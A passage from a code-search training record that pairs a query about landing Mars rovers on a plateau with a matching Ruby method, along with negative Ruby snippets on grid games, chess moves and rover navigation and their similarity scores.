elements in the map, because this \n# number is more than the possible number of steps the miner could\n# take in an actual solution, then returns this array as answer\n# this signals the previous call of solve that the branch was a \n# dead end (this will not happen on the first iteration by if\n# the initial conditions are valid)\n\n answer = Array.new((x_max + 1) * (y_max + 1)) if rlud.count(true) == 0 \n return answer if rlud.count(true) == 0\n\n# if there is only one path (only one true in the boolean array)\n# then the position is updated, the step is pushed to the answer\n# array and the copy of the original position is set to a string\n# indicating the miner must travel\n\n if rlud.count(true) == 1 \n if rlud[0] == true\n copy[x][y] = \"right\" \n answer.push('right')\n x += 1\n elsif rlud[1] == true\n copy[x][y] = \"left\" \n answer.push('left')\n x -= 1\n elsif rlud[2] == true\n copy[x][y] = \"up\" \n answer.push('up')\n y -= 1\n else\n copy[x][y] = \"down\"\n answer.push('down')\n y += 1 \n end \n\n# if there is more than one possible move, this section\n# calls the branch explore with the direction to explore\n# as one parameter and a copy of the answer to be appended \n# to in case a valid path is found, if a dead end is reached\n# branch_explore will mark the initial branch position as false\n\n else\n copy[x][y] = false\n if rlud[0] == true\n r = copy_array(answer)\n r = branch_explore(copy, 'right', exit, r, x, y, x_max, y_max)\n end \n if rlud[1] == true\n l = copy_array(answer)\n l = branch_explore(copy, 'left', exit, l, x, y, x_max, y_max)\n end\n if rlud[2] == true\n u = copy_array(answer) \n u = branch_explore(copy, 'up', exit, u, x, y, x_max, y_max)\n end\n if rlud[3] == true\n d = copy_array(answer)\n d = branch_explore(copy, 'down', exit, d, x, y, x_max, y_max)\n end\n\n# this section pushes the answer arrays that are valid paths to\n# a branch array \n\n branch_array = [] \n branch_array.push(r.size) if x != x_max && copy[x+1][y].to_s == \"branch\"\n branch_array.push(l.size) if x != 0 && copy[x-1][y].to_s == \"branch\"\n branch_array.push(u.size) if y != 0 && copy[x][y-1].to_s == \"branch\"\n branch_array.push(d.size) if y != y_max && copy[x][y+1].to_s == \"branch\"\n\n# this determines which of the potential valid paths is shorts and \n# set the answer to that array\n \n min = branch_array.min\n answer = copy_array(r) if r != nil && r.size == min\n answer = copy_array(l) if l != nil && l.size == min\n answer = copy_array(u) if u != nil && u.size == min\n answer = copy_array(d) if d != nil && d.size == min\n end\n end\n\n# return the answer\n\n answer\nend", "def new_coord\n [@position, @@move[@direction]].transpose.map { |coord| coord.reduce(:+) }\n end", "def set_player_positions\n self.print_grid\n\n xy = self.ask_for_x_y do\n \"Player 1: Where would you like to place your flag?\"\n end\n\n @player1_x = xy[0]\n @player1_y = xy[1]\n \n xy = self.ask_for_x_y do\n \"Player 2: Where would you like to place your flag?\"\n end\n\n @player2_x = xy[0]\n @player2_y = xy[1]\n end", "def update_shape()\n\t\t\t# define current position for faster access\n\t\t\t@position = self.bounds.center\n\t\t\tedges = self.definition.entities.to_a { |ent| ent.class == Sketchup::Edge }\n\t\t\t\n\t\t\t# set vertices array\n\t\t\tvertices = Array.new\n\t\t\tedges.each do |edge|\n\t\t\t\tvertices << edge.vertices\n\t\t\tend\n\t\t\tvertices.flatten!\n\t\t\tvertices.uniq!\n\t\t\t\n\t\t\t# now calculate each vertex global position\n\t\t\t@points = Array.new\n\t\t\ttransformation = self.transformation\n\t\t\tvertices.each do |vertex|\n\t\t\t\t@points << (vertex.position.transform! transformation)\n\t\t\tend\n\t\t\t\n\t\t\t@trans_array = transformation.to_a\n\t\t\treturn nil\n\t\tend", "def get_rover_position\n valid_rover_position = false\n\n while !valid_rover_position\n if valid_position\n valid_rover_position = plateau.rover_in_bounds?(input[0].to_i, input[1].to_i)\n unless valid_rover_position\n puts \"Rover position out of plateau bounds. Enter rover position:\"\n @input = STDIN.gets.chomp.split\n end\n else\n puts \"Incorrect position entered. Enter rover position:\"\n @input = STDIN.gets.chomp.split\n end\n end\n\n @rover = Rover.new(input[0], input[1], input[2])\n end", "def calculate_coordinates\n (\n egde(@x1, @y1, @x2, @y1) +\n egde(@x2, @y1, @x2, @y2) +\n egde(@x2, @y2, @x1, @y2) +\n egde(@x1, @y2, @x1, @y1)\n ).uniq\n end", "def points\n [top_left, top_right, bottom_left, bottom_right]\n end", "def initialize(pos_origen, pos_final)\n\n @pos_origen = pos_origen\n @pos_final = pos_final\n\n end", "def explore\n rover_bay.each do |r|\n if pass_path_check?(r)\n move(r)\n else\n raise \"There is a collision\\nin placement #{r.coordinate.inspect}, please revise instruction set #{r.command.inspect}\"\n end\n end\n end", "def assignGrid grid\n @grid = grid\n\n #if starting point of rover is at an obstacle, move rover over till hit free spot\n if @grid.obstacles.include?(@currentPos)\n print \"Grid has obstacle at rover starting position. Landed rover at (\"\n\n loop do\n moveForward\n break if [email protected]?(@currentPos)\n end\n\n print \"#{@currentPos.x}, #{@currentPos.y}) instead\\n\"\n end\n end", "def moves\n moves = []\n\n # call move_dirs and generate moves\n move_dirs.each do |x,y|\n moves += valid_positions(x,y)\n end\n moves\n end", "def get_ship_coords_automatically\n @fleet.each do |ship|\n # fetch coords for this ship automatically, given fleet and board\n # no return needed, as ship is an object which is updated by ShipCoords\n ShipCoords.new(ship:ship, fleet:@fleet, board:@board)\n @board.save_ship_to_board(ship)\n ship_count = 0\n if @autogenerated == true && ship_count == 4\n $message << \"Here is how your ships are placed. [Enter] to continue. \" unless\n $testing == true # see comment in settings.rb\n @board.show_board_and_get_input unless $testing == true\n end\n ship_count += 1\n end # of this ship\n end", "def potential_positions\n (0...@all_rotations.size).map do |rot_index|\n shape = @all_rotations[rot_index]\n extent = horiz_extent(shape)\n (0-extent[0][email protected]_columns-extent[1]).map do |x|\n [x, lowest_fit(shape, x), rot_index]\n end\n end.reduce(:+)\n end", "def auto_center\n \treturn nil unless @markers\n return @markers.first.position if @markers.length == 1\n \tmaxlat, minlat, maxlon, minlon = Float::MIN, Float::MAX, Float::MIN, Float::MAX\n \[email protected] do |marker| \n \t\tif marker.lat > maxlat then maxlat = marker.lat end\n \t\tif marker.lat < minlat then minlat = marker.lat end\n \t\tif marker.lon > maxlon then maxlon = marker.lon end \n \t\tif marker.lon < minlon then minlon = marker.lon end\n \tend\n \treturn [((maxlat+minlat)/2), ((maxlon+minlon)/2)]\n end", "def calculate_coordinates\n bresenham_circle_coordinates\n end", "def initial_solution\n loop do\n # clear solution after each iteration\n @solution = []\n vertices = shuffle_and_slice_vertices\n generate_routes(vertices, @depot).each { |route| @solution << route }\n break if routes_are_correct?\n end\n end", "def new_move_positions(node)\n new_moves = KnightPathFinder.valid_moves(node.value).reject {|move| @visited_positions.include? move}\n new_moves.each {|move| @visited_positions << move}\n new_moves\n end", "def possible_rook_moves(start_arr)\n\t\tx = start_arr[1]\n\t\ty = start_arr[0]\n\t\tcandidates = []\n\t\t# Checks how many spaces rook can move up\n\t\tmove_up = true\n\t\ti = 1\t\t\n\t\twhile move_up && i < 8\n\t\t\tpos = [y+i, x]\n\t\t\tif pos[0] >= 8\t\n\t\t\t\tmove_up = false\n\t\t\telse\t\n\t\t\t\tif !(@board[pos] == \"*\")\n\t\t\t\t\tif @board[pos].color == @board[start_arr].color\n\t\t\t\t\t\tmove_up = false\n\t\t\t\t\telsif !( @board[pos].color == @board[start_arr].color )\n\t\t\t\t\t\tcandidates << pos\n\t\t\t\t\t\tmove_up = false\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tcandidates << pos\n\t\t\t\tend\n\t\t\t\ti += 1\n\t\t\tend\n\t\tend\n\n\t\t# Checks how many spaces rook can move down\n\t\tmove_down = true\t\t\n\t\ti = 1\t\n\t\twhile move_down && i < 8\n\t\t\tpos = [y-i, x]\n\t\t\tif pos[0] < 0\t\n\t\t\t\tmove_down = false\n\t\t\telse\t\n\t\t\t\tif !(@board[pos] == \"*\")\n\t\t\t\t\tif @board[pos].color == @board[start_arr].color\n\t\t\t\t\t\tmove_down = false\n\t\t\t\t\telsif !( @board[pos].color == @board[start_arr].color )\n\t\t\t\t\t\tcandidates << pos\n\t\t\t\t\t\tmove_down = false\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tcandidates << pos\n\t\t\t\tend\n\t\t\t\ti += 1\n\t\t\tend\n\t\tend\n\n\t\t# Checks how many spaces rook can move right\n\t\tmove_right = true\t\t\n\t\ti = 1\t\n\t\twhile move_right && i < 8\n\t\t\tpos = [y, x+1]\n\t\t\tif pos[1] > 7\t\n\t\t\t\tmove_right = false\n\t\t\telse\t\n\t\t\t\tif !(@board[pos] == \"*\")\n\t\t\t\t\tif @board[pos].color == @board[start_arr].color\n\t\t\t\t\t\tmove_right = false\n\t\t\t\t\telsif !( @board[pos].color == @board[start_arr].color )\n\t\t\t\t\t\tcandidates << pos\n\t\t\t\t\t\tmove_right = false\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tcandidates << pos\n\t\t\t\tend\n\t\t\t\ti += 1\n\t\t\tend\n\t\tend\n\n\t\t# Checks how many spaces rook can move left\n\t\tmove_left = true\t\t\n\t\ti = 1\t\n\t\twhile move_left && i < 8\n\t\t\tpos = [y, x+1]\n\t\t\tif pos[1] > 7\t\n\t\t\t\tmove_left = false\n\t\t\telse\t\n\t\t\t\tif !(@board[pos] == \"*\")\n\t\t\t\t\tif @board[pos].color == @board[start_arr].color\n\t\t\t\t\t\tmove_left = false\n\t\t\t\t\telsif !( @board[pos].color == @board[start_arr].color )\n\t\t\t\t\t\tcandidates << pos\n\t\t\t\t\t\tmove_left = false\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tcandidates << pos\n\t\t\t\tend\n\t\t\t\ti += 1\n\t\t\tend\n\t\tend\t\t\n\t\tcandidates\n\tend" ]
[ "0.6441579", "0.6155435", "0.6121421", "0.6082642", "0.60728574", "0.60302186", "0.6018562", "0.59347737", "0.5893265", "0.58911645", "0.58599764", "0.58001256", "0.5798502", "0.5781993", "0.5779179", "0.5774772", "0.57696486", "0.57679284", "0.5749286", "0.5731001", "0.5716624", "0.5707968", "0.5669638", "0.5665096", "0.5650027", "0.564578", "0.5637549", "0.56375134", "0.56241155", "0.5613601", "0.5603348", "0.55947894", "0.55939406", "0.5592869", "0.5578163", "0.5573538", "0.5571118", "0.55590785", "0.5548898", "0.55342025", "0.55215216", "0.55181473", "0.55056345", "0.5495404", "0.54860777", "0.54797095", "0.5478198", "0.5469865", "0.54659325", "0.54643756", "0.5458153", "0.5456985", "0.54381365", "0.54329973", "0.54318494", "0.5427813", "0.542745", "0.541397", "0.5413889", "0.5407305", "0.540589", "0.54027", "0.5396879", "0.5382287", "0.5379875", "0.5379739", "0.5377698", "0.5374371", "0.5374206", "0.5373336", "0.537046", "0.53700954", "0.53585434", "0.53554684", "0.53530526", "0.5350705", "0.5341808", "0.5334003", "0.5333368", "0.5333238", "0.5327219", "0.532392", "0.5318931", "0.5316992", "0.5316044", "0.53158826", "0.5314248", "0.53120744", "0.5311742", "0.53101915", "0.53080356", "0.5306793", "0.53063303", "0.530306", "0.5300129", "0.5294621", "0.5293583", "0.5289773", "0.52862996", "0.5282621", "0.52793753" ]
0.0
-1
We create an instance of 1 or more rovers and land them in the plateu with their initial position
def landing_rovers(rovers) rovers.each do |rover| @rovers << Rover.new(rover.split(" ")[0].to_i, rover.split(" ")[1].to_i, rover.split(" ")[2].upcase) end @map.rovers_initial_position(@rovers) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create_rover(c)\n @rover_bay = []\n c.each_with_index do |x,i|\n @rover_bay.push(Rover.new(x.movement,x.position,i+1))\n end\n end", "def initialize(commands)\n m = commands.shift\n @map = Plateau.new(m[0],m[1])\n create_rover(commands)\n initial_placement\n end", "def initialize\n # create and locate the shovel\n shovel.location = start_room\n end", "def initial_placement\n rover_bay.each do |r|\n if pass_initial_placement_check?(r)\n place_rover(r)\n else\n raise \"There is a collision\\nin placement #{r.coordinate.inspect}\"\n end\n end\n end", "def initilize land_planes=[] #collection of planes\n\t\t@land_planes = land_planes\n\tend", "def create_positions\n (1..GAME_BOARD_LENGTH).each do |y|\n (1..GAME_BOARD_LENGTH).each do |x|\n self.positions.new(x: x, y: y)\n end\n end\n set_ships\n save\n end", "def place_rooks\r\n $board[0][0] = Rook.new('white')\r\n\t\t$board[7][0] = Rook.new('white')\r\n\t\t$board[0][7] = Rook.new('black')\r\n\t\t$board[7][7] = Rook.new('black')\r\n end", "def initialize\n @screen = Game_Screen.new\n @interpreter = Game_Interpreter.new(0, true)\n @map_id = 0\n @display_x = 0\n @display_y = 0\n create_vehicles\n end", "def initialize(x_location, y_location, direction, name) #initializes the class Rover\n @x_location = x_location\n @y_location = y_location\n @direction = direction\n @name = name\n end", "def create\n @village = Village.new(params[:village])\n if Village.last.nil?\n @village.x = 50\n @village.y = 50\n elsif Village.last == Village.first \n @village.x = 50\n @village.y = 48\n else\n if Village.last.x <= 50\n random = rand(4)\n if random == 0\n @village.x = 100 - Village.last.x \n elsif random == 1\n @village.x = Village.last.x - 1\n elsif random == 2\n @village.x = Village.last.x - 2\n elsif random == 3\n @village.x = Village.last.x - 3\n else\n @village.x = 100 - Village.last.x - 4\n end\n else\n random = rand(4)\n if random == 0\n @village.x = 100 - Village.last.x\n elsif random == 1\n @village.x = Village.last.x + 1\n elsif random == 2\n @village.x = Village.last.x + 2\n elsif random == 3\n @village.x = Village.last.x + 3\n else\n @village.x = 100 - Village.last.x + 4\n end\n end\n \n if Village.last.y <= 50\n random = rand(4)\n if random == 0\n @village.y = 100 - Village.last.y\n elsif random == 1\n @village.y = Village.last.y - 1\n elsif random == 2\n @village.y = Village.last.y - 2\n elsif random == 3\n @village.y = Village.last.y - 3\n else\n @village.y = 100 - Village.last.y - 4\n end\n else\n random = rand(4)\n if random == 0\n @village.y = 100 - Village.last.y\n elsif random == 1\n @village.y = Village.last.y + 1\n elsif random == 2\n @village.y = Village.last.y + 2\n elsif random == 3\n @village.y = Village.last.y + 3\n else\n @village.y = 100 - Village.last.y + 4\n end\n end\n end\n @village.hq_id = 1\n @village.woodhouse_id = 1\n @village.mine_id = 1\n @village.pit_id = 1\n @village.depot_id = 1\n @village.farm_id = 1\n @village.wood = 120\n @village.stone = 120\n @village.iron = 120\n @village.user_id = current_user.id\n if @village.x == Village.where(:x => @village.x) && @village.x == Village.where(:y => @village.y)\n while @village.x == Village.where(:x => @village.x) && @village.x == Village.where(:y => @village.y)\n @village.x = @village.x + 1\n @village.y = @village.y - 1\n end\n else\n end\n respond_to do |format|\n if @village.save\n format.html { redirect_to(@village, :notice => 'Village was successfully created.') }\n format.xml { render :xml => @village, :status => :created, :location => @village }\n @c = Coordinates.new(params[:coordinates])\n @c.x = @village.x\n @c.y = @village.y\n @c.user_id = @village.user_id\n @c.save\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @village.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new_game\n my_board = EdenPlayer.new_board\n ships = [5, 4, 3, 3, 2]\n probs = positional_probabilities my_board\n ship_pos = ships.map do |ship|\n laid = nil\n until laid\n rand_branch = rand(999) % 3\n # 1/3rd of the time, don't lay the ship in lowest probability spot\n # near edge, this gives a grouping formation that gives a few ships\n # a great area that they may be found in\n pos = rand(999) % 3 == 1 ? [rand(10), rand(10)] : draw_next_min(probs)\n laid = lay_ship({ship_length: ship, board: my_board, pos: pos})\n end\n laid\n end\n end", "def populate_room\n unless @dungeon.first_room\n @enemy = Zarta::Enemy.new(@dungeon) if enemy_spawned\n end\n @dungeon.first_room = false\n @weapon = Zarta::Weapon.new(@dungeon) if weapon_spawned\n @stairs = stairs_spawned\n end", "def create_positions\n create_player_position\n create_target_position\n create_select_position\n create_object_position\n end", "def initialize\n \t@grid_w = 50\n \t@grid_h = 40\n \t@grid = []\n\t\n\t\t@player_x = 0\n\t\t@player_y = 0\n\t\t@has_enviroment_rendered=false\n\t\t#setup and fill grid with walls\n \t@grid_w.times.with_index do |x|\n \t\t@grid[x] = []\n\t\t\t@grid_h.times.with_index do |y|\n \t\t\t@grid[x][y]= 1\n \t \tend\n \tend\n\t\tmin_rooms = 2\n\t\tmax_rooms = 10\n\t\t#setup number of rooms that will exist\n\t\t@n_rooms = rand(max_rooms - min_rooms) + min_rooms\n\t\tputs \"n rooms #{@n_rooms}\"\n\t\trooms = []\n\t\t#define the size of each room\n\t\t@n_rooms.times.with_index do |room|\n\t\t\trooms[room] = make_room 8,10\n\t\tend\n\t\n\t\t#clears the walls from where rooms will be \n\t\trooms.each_with_index do |r,i| \n\t\t\t(r[:x]..r[:x] + r[:w]).each do |x|\n\t\t\t\t(r[:y]..r[:y] + r[:h]).each do |y|\n\t\t\t\t\t@grid[x][y]= 0\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t#create pathways towards the next room\n\t\trooms.each_cons(2) do |(cur_room, next_room)|\n\t\t\t#find the center of each room \n\t\t\tcenter_x = cur_room[:x] + cur_room[:w].idiv(2)\n\t\t\tcenter_y = cur_room[:y] + cur_room[:h].idiv(2)\n\n\t\t\tnext_center_x = next_room[:x] + next_room[:w].idiv(2)\n\t\t\tnext_center_y = next_room[:y] + next_room[:h].idiv(2)\n\n\t\t\t#loops between each rooms X and Y positions \n\t\t\t#this can be approached differently\n\t\t\t(min(center_x,next_center_x)..max(center_x,next_center_x)).each do |x|\n\t\t\t\t(min(center_y,next_center_y)..max(center_y,next_center_y)).each do |y|\n\t\t\t\t\t#checking if this position is in-line with either rooms x or y centres\n\t\t\t\t\t@grid[x][y] = 0 if y == center_y || y == next_center_y || x == center_x || x == next_center_x\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t@new_grid = []\n\t\t#set new grid to prune unneeded walls to improve performance\n\t\t@grid_w.times.with_index do |x|\n\t \t@new_grid[x] = []\n\t \t@grid_h.times.with_index do |y|\n \t\t\t@new_grid[x][y]= @grid[x][y]\n\t\t\tend\n\t end\n\t\t#set up values\n\t\t@grid_w.times.with_index do |x|\n \t\t@grid_h.times.with_index do |y|\n\t\t\t\t#if surrounded it should not be filled in\n\t\t\t\tif check_surrounding_tiles x,y\n\t\t\t\t\t@grid[x][y] = 0\n\t\t\t\tend\n \t\tend\n \tend\n\t\t#this will set the players starting position to a known safe area\n\t\t@player_x = rooms[0][:x] + rooms[0][:w].idiv(2)\n\t\t@player_y = rooms[0][:y] + rooms[0][:h].idiv(2)\n\t\t@grid[@player_x][@player_y] = 2\n\tend", "def place_pawns\r\n $board.each_index do |x|\r\n $board[x][1] = Pawn.new('white')\r\n $board[x][6] = Pawn.new('black')\r\n end\r\n end", "def land! do\n\traise 'Airport at capacity, go round' if full? \n\traise 'Can\\'t you see it\\'s too stormy to land' if stormy? \n \tairplanes << airplane \n\tend", "def set_rooks\n self[[0,0]] = SlidingPiece.new([0,0], :black, \"R \")\n self[[0,7]] = SlidingPiece.new([0,7], :black, \"R \")\n self[[7,0]] = SlidingPiece.new([7,0], :white, \"R \")\n self[[7,7]] = SlidingPiece.new([7,7], :white, \"R \")\n end", "def create_battle_planes\n @battle_plane = Battle_Plane.new(@viewport1)\n end", "def create\n @tower = Tower.new(params[:tower])\n\t\n\t#Vergabe der Koordinaten. Die Karte ist in vier Teile gteilt. Mittelpunkt ist 50/50\n\t#Es wird immer erst eine y Reihe ausgefüllt wobei der x Abstand zufällig bestimmt wird.\n\t#Es gibt 4 Startpunkte und somit $ reihen die abwechselnd gefüllt werden.\n\ttnortheast = Tower.where(:position => 'northeast')\n\ttnorthwest = Tower.where(:position => 'northwest')\n\ttsouthwest = Tower.where(:position => 'southwest')\n\ttsoutheast = Tower.where(:position => 'southeast')\n\tif tnortheast.last.nil? \n\t \n\t @tower.position = 'northeast'\n\t @tower.x = '51'\n\t @tower.y = '51'\n\t \n\telsif tnorthwest.last.nil?\n\t @tower.position = 'northwest'\n\t @tower.x = '49'\n\t @tower.y = '51'\n\t \n\telsif tsouthwest.last.nil?\n\t @tower.position = 'southwest'\n\t @tower.x = '49'\n\t @tower.y = '49'\n\t\n\telsif tsoutheast.last.nil?\n\t @tower.position = 'southeast'\n\t @tower.x = '51'\n\t @tower.y = '49'\n\t\n\telse\n\t \n\t if tsoutheast.count < tsouthwest.count\n\t if tsoutheast.last.x < 95\n\t @tower.position = 'southeast'\n\t \t @tower.x = tsoutheast.last.x + 1 + rand(5)\n\t \t @tower.y = tsoutheast.last.y\n\t \n\t else\n\t @tower.position = 'southeast'\n\t \t @tower.x = 51 + rand(4)\n\t \t @tower.y = tsoutheast.last.y - 1\n\t \n\t end\n\t \n\t \n\t \n\t \n\t elsif tsouthwest.count < tnorthwest.count\n\t if tsouthwest.last.x > 5\n\t @tower.position = 'southwest'\n\t \t @tower.x = tsouthwest.last.x - 1 - rand(5)\n\t \t @tower.y = tsouthwest.last.y \n\t \n\t else\n\t @tower.position = 'southwest'\n\t \t @tower.x = 49 - rand(4)\n\t \t @tower.y = tsouthwest.last.y - 1\n\t \n\t end\n\t \n\t elsif tnorthwest.count < tnortheast.count\n\t if tnorthwest.last.x > 5\n\t @tower.position = 'northwest'\n\t \t @tower.x = tnorthwest.last.x - 1 - rand(5)\n\t \t @tower.y = tnorthwest.last.y \n\t \n\t else\n\t @tower.position = 'northwest'\n\t \t @tower.x = 49 - rand(4)\n\t \t @tower.y = tnorthwest.last.y + 1\n\t \n\t end\n\t else\n\t if tnortheast.last.x < 95\n\t @tower.position = 'northeast'\n\t \t @tower.x = tnortheast.last.x + 1 + rand(5)\n\t \t @tower.y = tnortheast.last.y \n\t \n\t else\n\t @tower.position = 'northeast'\n\t \t @tower.x = 51 + rand(4)\n\t \t @tower.y = tnortheast.last.y + 1\n\t \n\t end\n\t \n\t \n\t end\n\tend\n\t\n\t#User_id wird zugewiesen\n\[email protected]_id = current_user.id\n\[email protected] = 'store 1'\n\n\t\n\t\n\t\n\t\n respond_to do |format|\n if @tower.save\n format.html { redirect_to @tower, :notice => 'Tower was successfully created.' }\n format.json { render :json => @tower, :status => :created, :location => @tower }\n \n #Coordinates für die MAp anlegen\n @c = Coordinate.new(params[:coordinates])\n @c.x = @tower.x\n @c.y = @tower.y\n @c.user_id = @tower.user_id\n @c.save\n \n else\n format.html { render :action => \"new\" }\n format.json { render :json => @tower.errors, :status => :unprocessable_entity }\n end\n end\n end", "def initialize\n # Random number between 0 and 12\n @x = rand(12) + 1\n \n # We want vials and herbs to have higher chance to show up in rooms. \n if @x >= 8 and @x < 10\n @objX = $objs[4]\n @x = 4\n elsif @x >= 10\n @objX = $objs[7]\n @x = 7\n else\n @objX = $objs[@x]\n end\n end", "def move\n case @direction\n when \"N\" then @y += 1 unless @y + 1 > @plateau.y || @@rover_locations.values.include?([@x, @y + 1])\n when \"E\" then @x += 1 unless @x + 1 > @plateau.x || @@rover_locations.values.include?([@x + 1, @y])\n when \"S\" then @y -= 1 unless @y - 1 < 0 || @@rover_locations.values.include?([@x, @y -1])\n when \"W\" then @x -= 1 unless @x - 1 < 0 || @@rover_locations.values.include?([@x -1, @x])\n end\n @@rover_locations[@id.to_sym] = [@x, @y]\n end", "def generate_lands!\n\n resources = %w(wood brick metal stone)\n random_resource = resources.concat(resources.sample(2)).shuffle\n random_dice_points = %w(1 2 3 4 5 6).shuffle\n\n %w(0 1 2 3 4 5).shuffle.each.with_index do |position, index|\n game.lands.create(\n resource_type: random_resource[index],\n position: position,\n dice_point: random_dice_points[index]\n )\n end\n end", "def explore\n rover_bay.each do |r|\n if pass_path_check?(r)\n move(r)\n else\n raise \"There is a collision\\nin placement #{r.coordinate.inspect}, please revise instruction set #{r.command.inspect}\"\n end\n end\n end", "def travel_to!(floor)\n passengers.each {|passenger| passenger.current_floor = self.current_floor}\n\nend", "def initialize # calls the class Show with a new board\n\t\tShow.new\n\t\tcreate_player1\n\t\tcreate_player2\n\t\t@partie = Game.new(@player1, @player2) #class Game\n\t\[email protected]_turn\n\tend", "def place_rover(r)\n @map[r.coordinate[0],r.coordinate[1]] = r\n end", "def create_starting_positions\n\t\t[Point.new(BOARD_WIDTH/4, BOARD_HEIGHT/4),\n \t\tPoint.new(3 * BOARD_WIDTH/4, 3 * BOARD_HEIGHT/4),\n\t\tPoint.new(3 * BOARD_WIDTH/4, BOARD_HEIGHT/4),\n\t\tPoint.new(BOARD_WIDTH/4, 3 * BOARD_HEIGHT/4)]\n\tend", "def create\n @rover_plato = RoverPlato.create!\n @rover = @rover_plato.create_rover\n rover_start @rover\n\n respond_to do |format|\n if @rover.present?\n format.html { redirect_to edit_rover_plato_rover_path(@rover_plato,@rover), notice: 'Rover Challenge was successfully started.' }\n format.json { render :show, status: :created, location: @rover_plato }\n else\n format.html { render :new }\n format.json { render json: @rover_plato.errors, status: :unprocessable_entity }\n end\n end\n end", "def position_for_next_harvest()\n turn_right()\n move()\n turn_right()\n end", "def makeLiving(points)\n points.map do |p|\n getCell(p[0],p[1]).spawn\n end\n end", "def make\n @spaces.each { |position| position.occupied = true }\n # pp \"made ship: #{@spaces}\"\n end", "def initialize\n @rooms = make_rooms\n @reservations = []\n @blocks = []\n end", "def play\n rematch = true\n while rematch == true do\n @plateau = Board.new\n tour = 1\n puts \"###################################################################################\"\n puts \"# Bienvenu dans le jeu Tic-tac-toe!!! #\"\n puts \"###################################################################################\"\n puts \"Veuillez entrer le nom du Joueur X:\"\n a = gets.chomp # On demande le nom du premier joueur\n puts \"Veuillez entrer le nom du Joueur O:\"\n b = gets.chomp # On demande le nom du second joueur\n \n @j1.name = a # On enregistre le nom du premier joueur\n @j2.name = b # On enregistre le nom du second joueur\n \n while tour != 10 do\n @plateau.view_board # On affiche le plateau de jeux\n puts \"\\n\"\n if tour % 2 == 0 # Quand c'est le tour du deuxieme joueur\n puts \"Au tour du joueur O (#{@j2.name.capitalize})\"\n p = gets.chomp # On l'invite a saisir une position\n\n # Tant que la case n'existe pas, on demande au joueur O de resaisir une position existante\n while !@positions[p.upcase.to_sym] do \n puts \"Cette position n'existe pas #{@j2.name.capitalize}, veuillez resaisir:\" \n p = gets.chomp\n end\n\n # Tant que la case n'est pas vide on l'invite a choisir une autre case\n while @plateau.verify_case(@positions[p.upcase.to_sym]) != \" \" do\n puts \"Cette position est deja prise #{@j2.name.capitalize}, veuillez resaisir:\" \n p = gets.chomp\n end\n\n # On attribue la case au joueur O\n @plateau.set_position(@positions[p.upcase.to_sym], \"O\")\n\n # On verifie si le joueur O gagne\n if @plateau.game_over(\"O\") # Si oui, on arrete le jeux et le joueur O gagne\n tour = 10\n @j2.victory = true\n else\n tour += 1 # Sinon, on passe au tour suivant\n end\n else\n puts \"Au tour du joueur X (#{@j1.name.capitalize})\"# Quand c'est le tour du premier joueur\n p = gets.chomp # On l'invite a saisir une position\n\n # Tant que la case n'existe pas, on demande au joueur X de resaisir une position existante\n while !@positions[p.upcase.to_sym] do \n puts \"Cette position n'existe pas #{@j1.name.capitalize}, veuillez resaisir:\" \n p = gets.chomp\n end\n\n # Tant que la case n'est pas vide on l'invite a choisir une autre case\n while @plateau.verify_case(@positions[p.upcase.to_sym]) != \" \" do\n puts \"Cette position est deja prise #{@j1.name.capitalize}, veuillez resaisir:\" \n p = gets.chomp\n end\n\n # On attribue la case au joueur O\n @plateau.set_position(@positions[p.upcase.to_sym], \"X\")\n\n # On verifie si le joueur X gagne\n if @plateau.game_over(\"X\")# Si oui, on arrete le jeux et le joueur X gagne\n tour = 10\n @j1.victory = true\n else\n tour += 1 # Sinon, on passe au tour suivant\n end\n end\n end\n \n # On affiche le resultat du plateau de jeu final\n @plateau.view_board\n \n # On check ce qui a gagne ou si c'etait un match nul\n if @j1.victory == true\n puts \"Bravo #{@j1.name.upcase}! T'as gagné !!!!\"\n elsif @j2.victory == true\n puts \"Bravo #{@j2.name.upcase}! T'as gagné !!!!\"\n else\n puts \"Match nul!!!!!\"\n end\n\n # On invite les joueurs a faire une autre partie\n puts \"\\n\\nFaire une revenche?\\n1- Oui\\n2- Non\"\n v = gets.chomp\n quit = false\n while quit != true do\n if v == \"1\"\n quit = true\n elsif v == \"2\"\n quit = true\n rematch = false\n puts \"Merci d'etre passe !!! :)\"\n else\n quit = false\n puts \"\\n\\nTapez:\\n1- Pour recommencer\\n2- Pour quitter\"\n v = gets.chomp\n end\n end\n end\n end", "def create_objects\n # Create objects for the user.\n @user_board = Board.new\n @user_board.cells\n @user_board.selected_rows(4)\n user_cruiser = Ship.new('Cruiser', 3)\n user_submarine = Ship.new('Submarine', 2)\n @user_ships = []\n @user_ships << user_cruiser\n @user_ships << user_submarine\n \n # Create objects for the npc, and place the ships.\n npc_cruiser = Ship.new('Cruiser', 3)\n npc_submarine = Ship.new('Submarine', 2)\n @npc_ships = []\n @npc_ships << npc_cruiser\n @npc_ships << npc_submarine\n @npc = Computer.new(@npc_ships)\n @npc.board.cells\n @npc.board.selected_rows(4)\n @npc.computer_place\n end", "def initialize(name, length_y, width_x, monster, monster_status = \"alive\")\n @name = name\n @room_x = width_x\n @room_y = length_y\n @monster = monster\n @monster_status = monster_status\n @dropped_treasure = []\n @@instances << self\n \n if (name != \"Entryway\") && (name != \"Exit\")\n\n @dropped_treasure << treasure\n end\n \n end", "def set_board\n # Create first ship\n set_ship(Ship.new(3))\n\n # Create second ship\n set_ship(Ship.new(4))\n end", "def generate_nodes!\n 7.times do |index|\n game.nodes.create(\n position: index,\n land_ids: land_ids_for_node(index)\n )\n end\n end", "def initialize\n \n @waypoint = Array.new\n \n end", "def createRoom()\n\t\twidth = rand(@areaWidth * 0.5 .. @areaWidth * 0.7).floor\n\t\theight = rand(@areaHeight * 0.5 .. @areaHeight * 0.7).floor\n\t\t@room = [\n\t\t\trand(@areaX + @areaWidth * 0.15 .. @areaX + @areaWidth - width * 1.15).ceil,\n\t\t\trand(@areaY + @areaHeight * 0.15 .. @areaY + @areaHeight - height * 1.15).ceil,\n\t\t\twidth,\n\t\t\theight,\n\t\t]\n\tend", "def turno!\r\n\t\t#CICLO 